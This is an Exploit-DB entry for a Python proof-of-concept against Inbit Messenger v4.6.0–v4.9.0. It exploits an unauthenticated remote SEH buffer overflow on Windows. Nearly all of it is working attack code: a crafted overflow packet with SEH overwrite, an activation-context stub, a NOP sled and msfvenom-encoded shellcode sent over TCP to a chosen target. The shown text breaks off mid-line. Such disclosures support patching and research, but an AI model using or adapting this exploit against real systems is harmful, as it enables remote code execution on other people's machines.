Exploit-DB #51126
Description: Inbit Messenger v4.9.0 - Unauthenticated Remote SEH Overflow
Type: remote
Platform: windows
Date: 2023-03-29
Author: a-rey

Exploit:
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote SEH Overflow
# Date: 11/08/2022
# Exploit Author: a-rey 
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys, socket, struct, argparse, logging

"""
/opt/metasploit-framework/bin/msfvenom \
  -p windows/messagebox \
  ICON=WARNING          \
  TEXT="get wrecked"    \
  TITLE="LOLZ"          \
  EXITFUNC=thread       \
  -f py                 \
  -v SHELLCODE          \
  -e x86/shikata_ga_nai \
  -b '\x3E'           
"""
SHELLCODE =  b""
SHELLCODE += b"\xba\xbd\x3d\x03\xfa\xd9\xc9\xd9\x74\x24\xf4"
SHELLCODE += b"\x5b\x31\xc9\xb1\x41\x31\x53\x14\x03\x53\x14"
SHELLCODE += b"\x83\xc3\x04\x5f\xc8\xda\x11\x04\xea\xa9\xc1"
SHELLCODE += b"\xce\x3c\x80\xb8\x59\x0e\xed\xd9\x2e\x01\xdd"
SHELLCODE += b"\xaa\x46\xee\x96\xdb\xba\x65\xee\x2b\x49\x07"
SHELLCODE += b"\xcf\xa0\x7b\xc0\x40\xaf\xf6\xc3\x06\xce\x29"
SHELLCODE += b"\xdc\x58\xb0\x42\x4f\xbf\x15\xdf\xd5\x83\xde"
SHELLCODE += b"\x8b\xfd\x83\xe1\xd9\x75\x39\xfa\x96\xd0\x9e"
SHELLCODE += b"\xfb\x43\x07\xea\xb2\x18\xfc\x98\x44\xf0\xcc"
SHELLCODE += b"\x61\x77\xcc\xd3\x32\xfc\x0c\x5f\x4c\x3c\x43"
SHELLCODE += b"\xad\x53\x79\xb0\x5a\x68\xf9\x62\x8b\xfa\xe0"
SHELLCODE += b"\xe1\x91\x20\xe2\x1e\x43\xa2\xe8\xab\x07\xee"
SHELLCODE += b"\xec\x2a\xf3\x84\x09\xa7\x02\x73\x98\xf3\x20"
SHELLCODE += b"\x9f\xfa\x38\x9a\x97\xd5\x6a\x52\x42\xac\x50"
SHELLCODE += b"\x0d\x03\xe1\x5a\x22\x49\x16\xfd\x45\x91\x19"
SHELLCODE += b"\x88\xff\x6a\x5d\x65\x31\x92\xc1\xfe\xd2\x77"
SHELLCODE += b"\x50\xe8\x65\x88\xab\x17\xf0\x32\x5c\x8f\x6f"
SHELLCODE += b"\xd1\x7c\x0e\x18\x1a\x4f\xbe\xbc\x34\xda\xcd"
SHELLCODE += b"\x59\xb7\x14\xea\x2a\x6b\x71\x06\xa2\x72\x2f"
SHELLCODE += b"\xe9\xe1\x7e\x59\xd7\x5a\xc4\xf1\x75\x17\x86"
SHELLCODE += b"\x85\x65\x8c\xa4\x61\xca\x33\xb7\x8d\x9c\x93"
SHELLCODE += b"\x68\x52\x7c\x4c\x25\xdd\x30\xd6\x84\x3a\x40"
SHELLCODE += b"\xba\xc2\xb8\xd9\xa0\x63\xaa\xbc\x42\x2c\x44"
SHELLCODE += b"\x49\xf9\xa9\xf7\xdd\x9a\x54\x8c\x3d\x54\x5e"
SHELLCODE += b"\xe4\x71\xb2\x6b\x7c\x68\x8b\xb9\x14\x5a\xbf"
SHELLCODE += b"\x6c\xbb\x65\xef\xbe\xfb\xc9\xef\x94\xf3"

BANNER = """\033[0m\033[1;35m
в•”в•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•—
в•‘\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote SEH Overflow \033[1;35mв•‘
в•љв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ђв•ќ\033[0m
 by: \033[1;36m в–€в–€в–€в–€в–€в•—      в–€в–€в–€в–€в–€в–€в•— в–€в–€в–€в–€в–€в–€в–€в•—в–€в–€в•—   в–€в–€в•—
     \033[1;36mв–€в–€в•”в•ђв•ђв–€в–€в•—     в–€в–€в•”в•ђв•ђв–€в–€в•—в–€в–€в•”в•ђв•ђв•ђв•ђв•ќв–€в–€в•‘   в–€в–€в•‘
     \033[1;36mв–€в–€в–€в–€в–€в–€в–€в•‘ в–€в–€в–€ в–€в–€в–€в–€в–€в–€в•”в•ќв–€в–€в–€в–€в–€в•—   в–€в–€в•— в–€в–€в•ђв•ќ
     \033[1;36mв–€в–€в•”в•ђв•ђв–€в–€в•‘     в–€в–€в•”в•ђв•ђв–€в–€в•—в–€в–€в•”в•ђв•ђв•ќ     в–€в–€в•”в•ќ  
     \033[1;36mв–€в–€в•‘  в–€в–€в•‘     в–€в–€в•‘  в–€в–€в•‘в–€в–€в–€в–€в–€в–€в–€в•—   в–€в–€в•‘   
     \033[1;36mв•љв•ђв•ќ  в•љв•ђв•ќ     в•љв•ђв•ќ  в•љв•ђв•ќв•љв•ђв•ђв•ђв•ђв•ђв•ђв•ќ   в•љв•ђв•ќ   
\033[0m"""

BAD_BYTES = b"\x3e" # >
PAYLOAD_LENGTH = 2000

nSEH = b"\xEB\x06\x90\x90"           # JMP SHORT 0x8; NOP; NOP
SEH  = struct.pack("<I", 0x263ae1bd) # ipworks6.dll | POP EBP; POP EBX; RET

# NOTE: sets the TEB's ACTIVATION_CONTEXT_STACK.ActiveFrame = NULL
NULL_ACT_CTX_STUB  = b"\x31\xC0\xBB\x00\x10"
NULL_ACT_CTX_STUB += b"\x00\x00\x64\x8B\x48"
NULL_ACT_CTX_STUB += b"\x18\x39\x99\xA8\x01"
NULL_ACT_CTX_STUB += b"\x00\x00\x7C\x0A\x8B"
NULL_ACT_CTX_STUB += b"\x99\xA8\x01\x00\x00"
NULL_ACT_CTX_STUB += b"\x89\x03\xEB\x06\x89"
NULL_ACT_CTX_STUB += b"\x81\xB0\x01\x00\x00" 

def exploit(targetIp:str, targetPort:int) -> None:
  pkt  = b"<"
  pkt += (b"A" * 40)
  pkt += nSEH
  pkt += SEH
  pkt += NULL_ACT_CTX_STUB
  pkt += (b"\x90" * 32) # NOP sled for shikata_ga_nai decoder
  pkt += SHELLCODE
  # NOTE: need to send 1600+ bytes to overwrite beyond top of thread's stack
  pkt += (b"B" * (PAYLOAD_LENGTH - len(pkt)))
  # NOTE: check for bad bytes
  for c in pkt:
    if c in BAD_BYTES:
      logging.error(f"found bad byte 0x{c:02x} in payload")
      sys.exit(-1)
  logging.info(f"sending {len(pkt)} byte payload to {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  s.close()
  logging.success("DONE")

if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-t', '--target', help='target IP',   type=str, required=True)
  parser.add_argument('-p', '--port',   help='target port', type=int, required=False, default=10883)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNE